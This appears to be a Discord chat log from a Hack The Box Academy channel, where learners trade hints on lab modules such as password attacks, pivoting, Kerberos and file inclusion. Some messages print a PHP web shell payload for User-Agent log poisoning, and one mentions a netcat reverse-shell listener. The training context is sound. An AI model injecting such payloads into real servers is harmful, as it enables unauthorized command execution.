modules

[fathom pendant]

Try changing vpn region

[rustic sage]

Ok, i'll try it. Thanks 🙏🏻

[median kettle]

can someone help? currently on using hashcat to crack wireless handshakes. and im on the question1. i got hashcat running but its been like 10 minutes and still isnt cracked. am i doing something wrong

[vernal dove]

Hello, I want to enter the site.

But it gave me an error inside the username. No matter what I did, it didn't work. Please help me.

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

@vernal dove ^

[median kettle]

nevermind. the list was wrong, can someone point me to the right list to use to crack the hccapx file?

[vernal dove]

Pls help

[fathom pendant]

I'm not staff, the only help you can receive is via support. The article i linked shows how to contact them

[vernal dove]

Thanks

[proper comet]

some hints for skills assessment in Password attacks?

I obtained the credentials of ||jbetty, bdavid, hwilliam, analysed the pcap files||. I missed

[thin citrus]

Is there someone with the same issue #modules message

[vernal dove]

How can I get red team role

[fathom pendant]

You need to link your hackthebox account first

[crude halo]

erm

thats where we are 😭

[gray yacht]

I didn't use hashcat for that one, just aircrack-ng

[hot lodge]

Hi guys I need help with pass the ticket from linux section of password attacks, stuck on the last 2 sections, have root access but the host does not have proxychains.conf lol

[granite osprey]

Hello ! I have a question for module 'Attacking common services -> skills assessment (Hard) -> last question': once logged in as Fiona on the target, I've found a flag-like password (HTB_....) in the filesystem but it is not Administrator's password. I can't believe it is a dead end. I also tried to log in the DB server with Fiona's credentials, but I don't see anything useful. Can you give me a hint please ?

[gray yacht]

I'd verify access to all identified services

[gray yacht]

You're saying your attack host (VM or pwnbox) doesn't have a proxychains.conf file?

[hot lodge]

sorry i got the answer

I ment the victim host

I have to say PtT sections in Password Attacks are crazy

[magic mango]

for the footprinting hard lab i feel like i'm doing too much. i found and copied the key locally but i need to move it to the .ssh directory i shouldn't have to be the root user to do this right?

[gray yacht]

You don't need to move the key to use it.

[magic mango]

ok, i'm getting a public key error

[gray yacht]

Did you assign the correct permissions so you can use it?

[magic mango]

yes

[gray yacht]

Did you rename it? You can DM what you are trying as to not spoil anything?

[rustic jolt]

@west rampart are you doing Wanderer? Could I dm you?

[magic mango]

yes i can, give me a sec

[mild python]

Hi @alpine mural . Send credentials in POST data. Not in URL like module

[median kettle]

can someone help with me with skills assessment for cracking passwords with hashcat? im on the last question

[cold star]

Hey can I dm You? I got creds of jbetty and hwilliam I am stuck here a little push will be apperciated

[median kettle]

nvm

[gray yacht]

Should be able to simply follow the section.

Please do not post content over Tier 0. A spolier tag does nothing.

[spiral phoenix]

Hello, I'm doing the Password Attacks Module and in section "Spraying, Stuffing, and Defaults", the challenge is to retrieve the MySQL credentials using a linux user (sam) to ssh to the box. The challenge seems a bit off from the content of the section. I found a zip file that I tried to crack using rockyou but found no luck. After launching Linpeas there weren't any interesting files containing passwords so my guess is the zip file. Is this the correct path or did I miss something ?

[cold star]

Let me see

[vernal dove]

Can someone please tell me a username so I can enter the site without giving an error?

[cold star]

Dm me I will help u

[vernal dove]

@cold star help me pls

[cold star]

What topic?

[vernal dove]

@cold star

[cold star]

Sorry bro I am not good in web pen only have some knowledge of network attacks

[vernal dove]

What's your username in hack the box

[cold star]

Vanshdhawan ig

[south marten]

someone can help me with NTDS.dit

[cold star]

Yea in password attacks module?

[south marten]

Yess

You have it?

[cold star]

Yea what help u need in it?

[south marten]

Can i Open dm

[cold star]

Yea

[versed escarp]

What’s up everyone , hope all is well … I guess I do have a question … but it’s very personal and I want to ask anyone who is online (:

[cloud urchin]

This channel is for discussion of the HTB modules, not personal questions.

[tiny frigate]

spamming this exact question in EVERY server you're on?

[versed escarp]

I have different questions for different server types

Idk why you’re reporting me

[tiny frigate]

I'm not reporting you, I'm voicing an observation. You've posted this on every server we share

[versed escarp]

Sorry well I just got banned off a server I was part of for months but I decided to jump back in the bandwagon , sorry for assuming

[cloud urchin]

Again, this is not the channel to discuss. Verify your account by reading the #rules and following the instructions in #welcome and you can access other channels where you can ask more HTB related questions and talk about other topics, this is not the channel for it.

[versed escarp]

Yeah I have to re-verify my hack the box account

[spiral spoke]

Hi, Password Attacks Module got a full update or just a few sections were added?

[cold star]

Some were added some were removed and some were renamed

[spiral spoke]

Good! Thanks!

[empty elbow]

Hey everyone, I hope you'll are having a great day!

[cloud urchin]

A better place for this message would be in #general as this channel is dedicated to discussion of the HTB modules on Academy. Make sure to read the #rules and follow the instructions in #welcome to gain access to other channels.

[stuck hollow]

hey people, im getting troubles with skill assessments on Password Attack, im not understanding how to pivot to first user, any hint about it?

[tender nimbus]

Hey guys i'm doing the Windows Event Logs & Finding Evil module and i'm stuck at the windows event logs section with the first quesiton any help?

[leaden island]

Yo guys i need help on pivoting skill assesment

Ive access to 172.16.6.0/24 network from my host

Though ping sweeps dont yeild anything

Neither rdp port scan yeild anything (on the whole subnet)

[winged axle]

Password attacks module - Issues with "attacking windows credential manager", I have already uploaded a support ticket but wanted too see if anyone else here had any issues or if anyone has completed it. If so, DM me, I'd like to discuss how you did or what issues you came across.

[stuck hollow]

you wont believe it but.... ligolo-ng?

[leaden island]

I already have a route to that subnet

But i dont know what to do next (supposed to find another host in that subnet i guess)

[stuck hollow]

im having the same issue

[gray yacht]

Why not try using netexec to identify hosts?

[leaden island]

Netexec hmm

Doesnt that need credentials ?

[gray yacht]

Depends. Why not play with it a little and figure it out?

[leaden island]

Lemme tryh

[gray yacht]

If you run into issues or are not understanding something going that route, you can DM.

[leaden island]

Appreciate it

Let me play around and find out first

[gray yacht]

I generally learn a lot simply messing around. Plus they have a decent wiki.

[cloud void]

Good evening, does anyone know how to get the version of a service with filtered status in nmap? firewall ctf ids/ips

[harsh gorge]

Try to evade the firewall. There are options in Nmap specifically to do that

[gray yacht]

If this is related to a CTF, you are on your own and I would try Google.

[harsh gorge]

I recomend looking at the nmap module

It has several ways in order to banner grab services via firewall evasion. Should you feel so inclined.

[wild sage]

Is this the one running the .exe and getting the SHA256 hash?

[gray yacht]

Did your proxychains work before the double pivot? You can DM, so there is no spoiling this module and I am going to delete your original post as it contains content above Tier 0 and there are some folks who do this blind.

Like I said, you can DM as I don't mind helping you troubleshoot it.

[cloud void]

I'm not looking for an answer from the CTF, I just want some light on which path to follow, I've been looking for solutions in the nmap documentation since this morning, trying to use other tools, but I'm not having success in any of the cases.

[gray yacht]

Vader gave you some great information, so I would go that route.

[alpine ingot]

I'm on the password attacks module where i have to extract the onedrive password from mcharles. I used mimikatz, did the UAC bypass, and got a password but its not saying its correct.

[devout spruce]

Alright no worries. I was having issues with getting the proxy server to work through metasploit but I ended up figuring that out by just setting the srvhost option with my tun0. Just retraced my steps as well and I'm still getting the same results.

[gray yacht]

If you are certain of the answer, check for extra spaces and can try to refresh the page and resubmit it.

[alpine ingot]

it starts with "proof"

[gray yacht]

So you're not seeing any connections in your output?

[alpine ingot]

oh nope nvm i found it

I forgot to token::elevate

mb it just took me taking like 3 extra seconds lul

[vernal tapir]

Hi everyone, I've been stuck on an issue with Session Log Poisoning in File Inclusions (LFI), I seem to be able to poison the log, but I'm quickly destroying the log somehow, getting a 500 internal error before I can make anything happen.

Does anyone know what I'm doing wrong?

In the burp request:
get request: url......?cmd=id
User Agent: phpwebshellcodehere

[fathom pendant]

Make sure you escape with the proper quotes, also once you upload the shell, you no longer need to manipulate the UA, you can still abuse the poisoned log

[vernal tapir]

Steps I took:
Found the nginx access.log

Intercepted with Burp, send to repeater.

Changed user agent to
User-Agent: <?php system(\$_GET['cmd']); ?>

Hit send.

Revert user agent, add ?cmd=id to my GET request
= 500 internal.
Am I doing this correct? I had the same issues when doing the actual Poisoning lesson, couldn't figure this one out dunno why

[opal cape]

I think something is wrong with this. Lol i was literallyhaving the same issue and was gonna post. My server keeps crashing after hitting send

@vernal tapir are you saying you resolved this issue?

[vernal tapir]

Nope, can’t seem to figure it out

[fathom pendant]

You need to escape the user agent field in the request. First check the logs to see what I mean

If it bricks you gotta reset the target

[vernal tapir]

Ahh, thank you

I think I got an idea

Do a “Test” agent and see how it responds

[fathom pendant]

https://tenor.com/view/spongebob-idea-have-angel-mr-gif-22114962

[vernal tapir]

Thank you Marcie

[opal cape]

I did this. Using poison or whatever always works. Once I change it to the PHP webshell it bricks.

I rest the target and the same thing.

Reset*

[opal cape]

What do you mean escape the user agent exactly?

You mean like erase it after hitting send the first time?

[fathom pendant]

How do you escape things for xss

Similar concept applies

[opal cape]

Oh so like "> ?

[fathom pendant]

Something like that

[opal cape]

"><?php sytem($_GET['cmd']); ?> still bricks

[fathom pendant]

Step 1: check the log file

[alpine ingot]

I have been trying to get this to work, i am having trouble. I have tried copying it with the + in the card number, i have tried adding dashes every 4 numbers, i have tried copying it, manually typing it in, etc. Nothing is working.

[glacial remnant]

try spaces

[alpine ingot]

oh yeah wtf im an idiot. + is url encoded spaces....

🤦

[glacial remnant]

there have been a few times people hit this apparently so you're not alone

[opal cape]

Im struggling i dont get anything but 200 when I send the user agent once. Its when I send it the second to get my request is when it always bricks

@fathom pendant I've also seen a video of this to see if I'm doing anything wrong and the dude just sends the php shell as user agent, clicks twice and gets his/her request.

and they do it without escaping the user agent

[fathom pendant]

By check the log file, I mean do it before you do anything else. Also are you sure they didn't escape it?

Or are you misinterpreting how it's sent 😉

[opal cape]

Yes

https://www.youtube.com/watch?v=dr3-n07x7i0

2:04

[fathom pendant]

Like, for instance, them wrapping the user-agent in quotes

[opal cape]

The log comes through the first click then for me on the second click always bricks.

[fathom pendant]

¯_(ツ)_/¯

[opal cape]

When i saw the other guy post here I was like damn maybe there is something wrong with the module.

[fathom pendant]

I don't recall having issues

[opal cape]

@fathom pendant I'm gonna work on this further. I've spent a while on it and need to step away and exercise or something lol.

@vernal tapir any luck?

[vernal tapir]

Yeah I got it

Was tough but use Burpsuite to load the payload in the user agent

Use browser to refresh log after using command to read it

if it doesnt brick ur good

check dm

[harsh gorge]

The impacket version of SMBclient should be able to help you out a little better

[fathom pendant]

If it's too laggy/unreliable then the issue is likely connection related

[harsh gorge]

It’s fast, user friendly and most importantly you don’t have to deal with that awful syntax

[violet raven]

Need help in Pass the Certificate section
gettgtpkinit.py error oscrypto.errors.LibraryNotFoundError: Error detecting the version of libcrypto
i tried pip install oscrypto but nothing change.

[stuck hollow]

try create a new venv python and install pip install pyOpenSSL==23.1.1 cryptography==39.0.1

[tiny frigate]

me too, a few days later 🤣

[proper dune]

was using pwnbox and the rev command was aliased to nc -lvp 9001 by default. already unset it. has this happened to anyone else's pwnbox instance??

[waxen totem]

looks like a default configuration cos that command is used a lot for receiving reverse shells

[violet raven]

solved it, Thx

[proper dune]

makes sense. I was just losing my mind for like two minutes before I checked for an alias lol

[dark hedge]

add module name and section name

[tiny frigate]

doing the same one right now...PowerHuntShares is throwing exceptions for me if I use it exactly as described in the module (already set execution policy)

haha, thought so too ^^

welp, i suppose I still got some importing to do, someone else asked about this tool yesterday. not sure if my brain is just foggy, but I'm not seing it in the module text...

one of the few people that didn't take it to DMs for this question recommended using manspider yesterday.
imma give it another shot tomorrow, I can't get docker to run rn..

[fathom pendant]

there's another tool, not sure if it's showcased or not, snaffler; ik it's showcased in the AD enum module as a way to find shares

[faint hamlet]

Not sure if it's just me, but snaffler wasn't finding creds in shares, powerhuntshare didn't even find most of the shares

[fathom pendant]

i haven't done that section yet so i can't comment on what i did/didn't do to solve

[prisma pumice]

When you get new creds for first question, you will get access to extra shares using that creds.

[sacred current]

Hiii

[stuck hollow]

hi people, im getting this issue trying to run xfreerdp3, never had until now, ive tryied modification on /etc/krb5.conf but nothing is working. Help please

[stuck hollow]

anyone? im stuck here

[zinc halo]

Hiii, I got a question in regards to the use of subbrute tool, in terms of the resolver file, my understanding is that you are supposed to put in the name server for that domain for it to work, however, for one of the module, it seems any name server seems to work fine like ns1.inlanefreight.htb``ns.inlanefreight.htb``inlanefreight.htbi tried all these 3 entries and it seem to all return the correct result, my question is arent we supposed to use the correct name server which was found using dig NS inlanefreight.htb for the resolver file for it to work? thanks!!

[stuck hollow]

can anyone erase Supportteam12?

isnt spam?

thanks!

[cloud urchin]

If you see something like that in the future you can ping SERIOUS RULE BREAK (put an @ before it) to get a mod/admin

[stuck hollow]

how it works ping SERIOUS RULE BREAK? can u give me an example

[cloud urchin]

type @SERIOUSRULE and you should see it pop up. Reply to the message with that tag and itll ping a mod.

don't do it now of course

but you should see the ping pop up if you start typing it

[stuck hollow]

understood!

thanks!

[fathom niche]

someone there for questions about "Intro to C2 Operations with Sliver -> Probing the Surface" cannot establish a connection

[proper comet]

plis

[safe star]

what module requires this?

[safe star]

yeah

[stuck hollow]

issue solved. Skill Assesment from Password Attack

[fathom niche]

Intro to C2 Operations with Sliver

[safe star]

wrong message

[velvet marlin]

Hello friends, I have a question about the Academy platform. If I buy the Gold package, will I have access to all Tier 3 modules ? (except for giving 500 boxes every month)

[fathom niche]

I'm following the instructions at "Probing the Surface" (many times) but the connection doesn't come up.
Is there something different to do, what is not discriped in the section?

[safe star]

can you dm what you did

[river grove]

Hey guys, anyone can give me a nudge on injection attacks pdf part?

[fathom pendant]

Gold annual is the one that gives access

Gold monthly is a different one

[midnight ridge]

can anyone help me in section Static/Dynamic analysis in module Introduction to Windows Evasion Techniques please?

i use the provided code in the section, but it doesnt work although i have hardcoded the port and ip address

[spring lily]

In ADCS Attacks module, PKINIT section,is this RBCD attack using Rebues' asktgt correct? I thought the RBCD is about impersonating a user to access a specific service, and hence an impersonated TGS (so taught in the Kerberos Attacks module). And therefore we should be using Rebues's s4u instead of asktgt.. Can anyone help explain

[velvet marlin]

Now I am talking about the monthly Gold package. Will this monthly package give me access to all Tier3 modules?

[autumn pilot]

The gold subscription will allow you to unlock a module of your choice that is classified as Tier 3

If you want all access to Tier 3 modules, you can get the Gold Annual plan

[velvet marlin]

Haaa, OK. I understand, thank you.

[fathom pendant]

The gold annual is the only one that gives the access; the monthly only gives the cubes per month

[cold star]

I aalso need

[river grove]

Dont understand the point of Exploitation of PDF Generation Vulnerabilities when it has nothing to do with pdf exploits but LFI enumeration. Hint sais I need to find a port but it doesnt matter if I have a port to an internal app I still need the flag file name.

[halcyon sphinx]

i'm stuck on the password attacks module. specifically the part on "writing custom wordlists and rules"
i'm not able to generate the required password. can anyone provide some help?

[fathom pendant]

unless they changed that drastically, there should be a provided custom.list in the resources

[waxen totem]

I hated that section so bad

6 hours of waiting, not doing anything productive, hoping the list you generated was the correct one

burnt by not grabbing unique values

[fathom pendant]

apparently they made some of the more painful sections slightly better

i've just not had the will or energy to sit down and redo the module

[waxen totem]

Same, mainly cos I'm at 90% and don't wanna have to go back, I only did the new sections

[faint hamlet]

that has changed now they have a scenerio, where they provide osint about target, password policy and give a md5 hash. The 4-6 hours cracking before was just seriously maddening.

[fathom pendant]

also if you do it properly you didn't need the 4-6 hours LMAO people forget about threading

[waxen totem]

I had it at -t 40

[fathom pendant]

then you just have bad aussie internet

[waxen totem]

fax

[young sentinel]

An old question, but what Linux is everybody using? I used Ubuntu the other day, yeah that was a day spent trying to get it to open up for Windows Fundamentals, but I got it after asking myself some noob questions, posting and getting the 'did you do this?' which I didn't but then did it. I also spent the rest of the day trying to get Kali to open up properly, stopped that to get the sad news that my in-laws dog had two or three fatal seizures then passed away (Christ! that is so hard and painful to type, think or say-he was the bestest boy in the world) and got Kali to go this morning when I have shit to do. But seriously, which Linux does everybody use? I love deepend diving and plan to use and abuse Kali. Thanks for your input.

[faint hamlet]

kali linux with everything metapackage, so I do not have to install most of the tools 😅 🏃‍♂️‍➡️

[coral wraith]

You can also use parrot, which is used in the htb pwnbox. Or a os based on arch, it can be more complicate, but therefore has also additional packages in the community package streams. But in general you can use nearly every OS it depends on your likelyhood

[gloomy grail]

Hello guys, I am doing the cwee modules and I am stucked on the exercise of password reset poisoning of abusing http misconfigurations.

I tried injecting all these header with interactsh.local:PORT value:
||Host
X-Forwarded-Host
X-Host
X-Original-Host
X-Forwarded-Server
Forwarded
X-Forwarded-For||
and still in the /log page I dont see the reset token.

[opal basalt]

Hi, I think i need help to reproduce these Advanced Exfilitration with CDATA From the CBBH (Web Attacks) , i tried doing the same thing from the modules still i'm not able to reproduce me , idk what am i doing wrong here

[west arrow]

why is zap soooo slow? On the web proxies modules and it takes for ever to intercept a request

[fathom pendant]

you don't have to do the CDATA thing

there's another method from the section iirc

[opal basalt]

Error Based XXEworks for these scenarios but i was trying to replicate both of those methods taught in the module , but was unsuccessful with that anotherCDATA method. do you know like why didn't it worked?

[fathom pendant]

no idea, error is the intended

[opal basalt]

hmmm, anyways it's alright . maybe i would comeback later to these and try again

[crimson breach]

Hi

[storm elk]

Hello! Please read #rules and follow instructions in #welcome to verify your account

[sick cave]

hello, can someone give me a little hint with the new password attack skill assessment? I feel I'm really close, but i still can't get it

[faint hamlet]

sure dm

[feral temple]

I think so

[forest zenith]

I know this is not necessareraly from a module, but can also happen in modules

does anyone know how to fix this:

┌──(kali㉿kali)-[~/admin]
└─$ impacket-getTGT machine.htb/account:<redacted> -dc-ip 10.10.10.10

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
                                                                                                                    
┌──(kali㉿kali)-[~/admin]
└─$ sudo net time set -S 10.10.10.10                                                        
                                                                                                                    
┌──(kali㉿kali)-[~/admin]
└─$ impacket-getTGT machine.htb/account:<redacted> -dc-ip 10.10.10.10 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
                                                                                                                    
┌──(kali㉿kali)-[~/admin]
└─$ sudo ntpdate -u 10.10.10.10                                                              
2025-06-12 14:15:23.979218 (-0400) +25308.218795 +/- 0.021387 10.10.10.10  s1 no-leap
CLOCK: time stepped by 25308.218795
                                                                                                                    
┌──(kali㉿kali)-[~/admin]
└─$ impacket-getTGT machine.htb/account:<redacted> -dc-ip 10.10.10.10 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

i tried net time set and ntpdate, which are the 2 methods I know

still nothing

[autumn pilot]

You need to adjust your time to match the time of the DC or the machine, otherwise any attempts of Kerberos authentication will fail

[forest zenith]

already tried

[waxen totem]

https://tenor.com/view/i-saw-that-gif-14729957

[forest zenith]

sorry

[waxen totem]

Gotta ensure nothing else is changing back the time

best option is to probably use faketime

faketime "$(date +'%Y-%m-%d') $(net time -S $DC_IP | awk '{print $4}')"

[faint hamlet]

This is my solution on a default kali installation

sudo timedatectl set-ntp false
sudo ntpdate -u $Machine_IP

After you are done just turn ntp on through first command replacing false with true

[forest zenith]

Im using Kali default. It Worked!!! Thank you very much

[faint hamlet]

Gotta give credit to chatgpt

[cold star]

Hey, I am stuck at password attacks assesment I have found creds of: Betty and Hwilliam But don't know how to proceed further any hint will be really helpfull

[gray yacht]

This has been asked a ton lately. I'd try searching the channel first to see if anything has already been provided that can get you unstuck.

[cold star]

Okay, Thanks

[rose stratus]

You can dm me if you are super stuck but I think you should be ok with a simple search

[cold star]

Okay

[swift sundial]

Hey guys! Been stuck on Password Attacks - Credential Hunting in Network Shares, second question for about 6 hours... anybody willing to give me a nudge? 🙂 Thanks!

[cold star]

I had left that for last it was very bad

I think we have to manually read through snaffler output to get answer

[swift sundial]

Ok I'll give that a go 🙂 Thanks!

[gray yacht]

netexec spidering is something you can try.

[swift sundial]

Oh yeah, I've been using that and MANSPIDER trying to spider all different words I can think of 🙂

[gray yacht]

Are there any keywords in the question?

[swift sundial]

May I DM you?

[gray yacht]

Sure

[prisma pumice]

Automatic tools don't always help...

[coral wraith]

can someone give me a hint for the Skills Assessment of Advanced XSS and CSRF Exploitation? I'm stuck

[torn spindle]

I've been trying to solve the section on XSS session hijacking for more then 2 hours now. While I am able to get the cookie, they are just wordpress_test_cookie

[grand timber]

I keep geting this error and I dont know why

[dark hedge]

what is the module and section, and what exercise are you trying to do

[gray yacht]

Are you still receiving that cookie?

[grand timber]

Apologize, I should have added that. This is the "Cracking Into Hack The Box" Module is Web Requests, exercise is POST

Here is my full command log if you need

[dark hedge]

try http://

[grand timber]

On the useradmin?

[dark hedge]

you are specifying https in the URL, try http

[grand timber]

O H

I see now XD

Thank you, such a small detail and I somehow missed it completely

[west arrow]

Anyone know how to fix this?

[faint hamlet]

Maybe check if chromium is installed, if not install it?

[tame basalt]

You should be able to choose which browser to use in burp, try see if that doesn't help 😄

[green aurora]

hy anyone completed injection module

[sand sedge]

which injection ?

[green aurora]

injection Attacks

[sand sedge]

didn't

i don't even know about it iam in cbbh path

[faint hamlet]

You can use any browser with burp with proxy setup and importing cert, burp has its own browser(chromium) in which everything is setup. The op has posted about that built-in browser feature.

[green aurora]

can anyone help me in injection Attacks
injection Attacks module

[tiny frigate]

yep, Manspider finally worked for me! Thanks for the link to the docker resource. I was running on PwnBox, I think I ultimately just had to restart the docker service and use sudo for some permission thing that wasn't mentioned in the example. Will need to spend some more time wrapping my head around what I'm actually doing there, but got the exercise solved at least 🙂

[tiny frigate]

thanks, yeah that was mentioned in that section too, I don't recall why it didn't do the trick for me yesterday

[flint palm]

cat /etc/passwd | cut -f1 -d: guys I am doing LInux Privilege Escalation and I didn't understand from the section write up what does this command do?

list all passwords? used on the system

???

[sacred nymph]

passwords not stored in passwd

[flint palm]

theoretically one of them can be used to become root right?

[sacred nymph]

this command just lists users

[tender nimbus]

no no but i found out how to process it thanks for you help 🙂

[sacred nymph]

What is the trick to get impacket-ntlmrelayx to capture the CSR and create a .pfx file in Password Attacks/Pass the Certificate I am getting nothing, any help appreciated.

[sacred rock]

You need to use ntlmrelayx to listen for inbound connections and relay them to the web enrollment service. Then you need to find a way to coerce the DC to attempt authentication against your attacker host.

[flint palm]

guys hello give some tips how to solve linux privilege escalation eviroment enumeration section?

nothing in the section itself gives information how to get shell or how to find this file

even the command sudo -l works from time to time

[sacred nymph]

Thanks for response, I am listening and relaying with ntlmrelayx to the CA server at the location specified in the module and I am attemtping to authenticate through the DC with RPC using provided credentials to my own attack box with printer bug. I am using the commands in the module substituing the IP's provided and my own box IP.

[sacred rock]

If you did everything correctly, ntlmrelayx will generate the .pfx certificate, if it did not work, your syntax is wrong somewhere. maybe mixed ips or similar.

[gray yacht]

You may need to run it as root.

[storm elk]

I got a base64 iirc that I needed to pipe to OpenSSL

[sacred nymph]

omg

thanks guys im dumb FW issues

[storm elk]

Damn those FW’s

[sacred nymph]

who needs em anyways

[plain spruce]

hey how long did you guys take for the footprinting -> dns module.
im stuck at question 4 with trying now the 5th different wordlist.. sitting here 2 hours just to get the one entry ..
i can see it happen in a real engagement but come on really now?

[sacred nymph]

I recall that one being tough

[fathom pendant]

Try a fierce wordlist

[plain spruce]

i did.. nothing. i now am thinking im doing something wrong maybe

[fathom pendant]

Subdomains of Subdomains is the other one unless they changed it

@cerulean hinge careful revealing spoilers like passwords

[cerulean hinge]

Those are password the module give us

[fathom pendant]

It's still a module spoiler

[cerulean hinge]

oh ok, what was the issue ?

[fathom pendant]

With your post? Just the spoiling of passwords and such.
The issue you're having in the module? Don't know

[cerulean hinge]

Yeah I mean with my post. How is it a spoiler if the passwords are within the module itself ?

[fathom pendant]

It falls under "module content," as per the channel description - do not spoil module content above tier 0

[cerulean hinge]

Ok sorry then

Hello,
I'm stuck at the "Unconstrained Delegation - Users" part of the "Kerberos Attack" module.
I manage to get the ccache file for the DC machine account however I can't use it to perform anyfurther attack from my kali.
Here is for example the message I get when trying to perform a DCSync : "KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)".

Can someone know why please ? Thank you

[fathom pendant]

Did you add the ip and relevant lines in your /etc/hosts

[cerulean hinge]

Yes I added the IP + domain & machine name.domain

[fathom pendant]

Did you also add the machine name?

I.e. domain machine.domain machine

[cerulean hinge]

I will add and try

it's not working. I think my issue is on how I setup the krbrelayx.py. I tried to do it without the hash (which seems to work at it decrypt the TGT) but not sure about it.

[rustic sage]

Guys

What to do if I completely fucked up after watching MrRobot

Like it fully changed my mind I can’t understand how to fix it now

[fathom pendant]

This has nothing to do with htb academy

[rustic sage]

Ye I know it

[fathom pendant]

Ntlm relay... relays the credentials, passing the hash is just using the the hash as a form of logging in

[fathom pendant]

Then it doesn't belong in this channel, read and follow instructions in #welcome to access more of the server

Relaying is what's used in some instances where the hash may not be able to be used or you need to do some other stuff. Relays utilize the whole ntlmv2 hash not just the lm:nt hash. This includes the timing and stuff embedded into the hash

[plain spruce]

okay so im missing something here about the dns and whole transfer zone thing.
i did dig axfr on the base domain and got some ips
and now i was supposed to run a bruteforce on every single subdomain till i get the answer that i need and with possibly whatever many different wordlists? i mean that cant be right? am i missing something?
i got the answer online and sadly now got spoilered but im also kind of glad i was. i dont know if i wouldve ever came on the idea to do that.
i did try to bruteforce the main domain all the time with different word lists..

[fathom pendant]

Yeah it's under subdomains, you can narrow down the list a bit btw. You already can transfer to one of the subdomains, so cross that off.

You can also do a little loop to run through the subdomains and wait

[fathom pendant]

Also: always start small then go bigger

[plain spruce]

but how could i have known i need to brute the subdomains. like i feel like that wasnt communicated in the page or maybe im missing something im not sure.
i dont understand how i was supposed to know that i need to do that.
i dont think im fully understanding dns and the whole transfer thing .. its like i had no clue at all

[flint palm]

Guys who has done LINUX PRIV ESCALATION how did you find flag in enviroment enumeration section?

[fathom pendant]

Think of it this way: if you can't find the info on the surface, dig deeper

Also I've found utilizing the bruteforce tool also misses the important subdomain to start on as opposed to using dig

[topaz gorge]

Hii

[plain spruce]

hm i guess. i dont know. its not intuitive to go to like a sub sub domain. i constantly thought i need to just find a "normal" sub domain.

[fathom pendant]

And that's generally not how dns works. You're making the assumption that it's like a web server that you just need to fuzz for the right thing on the onset. As opposed to it being recursive

[plain spruce]

yeah like i said i dont think im really understanding dns yet. i read the page like 3 times i dont know

[fathom pendant]

you don't need to have too much in-depth knowledge of it ¯_(ツ)_/¯

Just the basics of searching records

[topaz gorge]

Hello?

[plain spruce]

you mean like using dig and being able to read the records ?
and now i learned with you that i also need to maybe brute the sub domains so is that enough to safely go next module or should i keep at it?

[topaz gorge]

I tried to verify the bot says it failed

[fathom pendant]

Thats enough just keep those things noted

[topaz gorge]

Hey there, any idea why the application is not responding?

[fathom pendant]

App not responding is normal for hackster. Run the command again in #bot-commands

[topaz gorge]

i did 3 times i don't want to get banned for spamming or something

:0

[fathom pendant]

You won't get banned I'm asking so I can see at fresh error in the log

[topaz gorge]

okay i will again

[fathom pendant]

So I can sort it out. Dm me so we're not flooding the channel

[lofty pollen]

hello

[flint palm]

hello

[lofty pollen]

has anyone done the introduction to bash module ???

i was in the seciton of "comparison Operators" doing the excersise

I think im close to the answer but I dont know what I am missing

I can DM with the answer or the code i have

[gray yacht]

You can DM what you have.

[flint palm]

Guys has anyone done Linux Priv Escalation?

[cloud urchin]

Many people have

[south marten]

ey, hello, im doing a scanner with PCredz and i dont found the credit card numer. im in attacks password module section Credential Hunting in Network Traffic

[south marten]

nothin, i found it

[graceful urchin]

I've generated a new VPN pack, restarted the machine, still nothing

Had to use the solution because I was so confused

[rustic sage]

Hey, I am stuck at password attacks assesment I have found creds of: Betty and Hwilliam and an Admin local account But don't know how to proceed further any hint will be really helpfull, I tried a lottttt of things...

[graceful urchin]

Okay scrolling through message history it seems like this box has had issues in the past, I'll just skip this
Thank you

[primal rover]

Hey awesome peeps, can anyone help me figure out why ZAP isn't loading the HUD in Firefox on Pwnbox?

I checked the box to enable it, but no dice

[rose stratus]

You can dm for hint

[fathom pendant]

@graceful urchin don't share screenshots with answers

[primal rover]

nm i just didn't use the hud lolz

[west arrow]

how did you find it? I only managed to find it with wireshark

[graceful urchin]

fair point sorry

[south marten]

i do it with wireshark, Pcredz only found the user, the password and SNMPv2 community string

[west arrow]

Yeah same, weird because Pcredz supposedly finds credit card info also

[south marten]

yes, its supposed to do it

[gray yacht]

You can figure that out with a whoami. I'm going to delete the screenshot since it is from a higher tier module. If you want you can DM about this one.

[west arrow]

by the way did they update every page in Password Attacks?

[fallow shore]

hello i have synchro problems with the clowk skew too great for kerberoast no way to get it out anyone have an idea? thanks

[fathom pendant]

Not every page, but plenty of them

They even added some sections

[spice heart]

Hey yall, pretty basic question here. I'm doing the web app enumeration and I'm learning about crawlers. In what context would I use a crawler over a traditional directory brute forcer? Is the main benefit of the crawler that it'll go deeper into the file system whereas the directory brute forcer won't?

[fathom pendant]

faketime

[fathom pendant]

Crawlers look at the page itself

[west arrow]

Ahh so there where 3 that appeared as not completed that I have done but there are others that I should go over

[spice heart]

i think you can also use ntpdate or something

[fathom pendant]

Bruteforcers just look for predefined words from the wordlist, whereas a crawler looks all over the page and clicks links on the page

[spice heart]

so it basically makes the wordlist more accurate to the target

[fathom pendant]

Crawlers don't use wordlists

[spice heart]

Yeah I misspoke, I meant like morally

[fathom pendant]

?

[fallow shore]

@fathom pendant thanks a lot

[spice heart]

from a pure math background, we'd say something is morally true if it makes sense but kind of handwaving it

and here i meant it like "oh, crawlers have a more accurate wordlist because they're taking directly from the page rather than using a dictionary"

it's not exactly correct but it's like handwave-y correct

[fathom pendant]

They just serve different functions

[spice heart]

yup

[fathom pendant]

For example an /admin/ endpoint likely won't be found by a crawler if it's set up properly

[spice heart]

And a /testtesttest111/ endpoint wouldn't be found by a bruteforcer but if it's referenced on the page it'll be found by the crawler, right?

[fathom pendant]

Yep

Generally if it's linked it'll go to it

But crawlers may be written to check things like that

[fallow shore]

faketime "$(date +'%Y-%m-%d') $(net time -S 10.10.11.72 | awk '{print $4}')" zsh still always the same KRB_AP_ERR_SKEW(Clock skew too great) :

😦

[gray yacht]

You can DM what you are running this with.

[gray yacht]

If you need any more help with this, the #1380967904429871275 is the channel for questions related to that box.

[sly estuary]

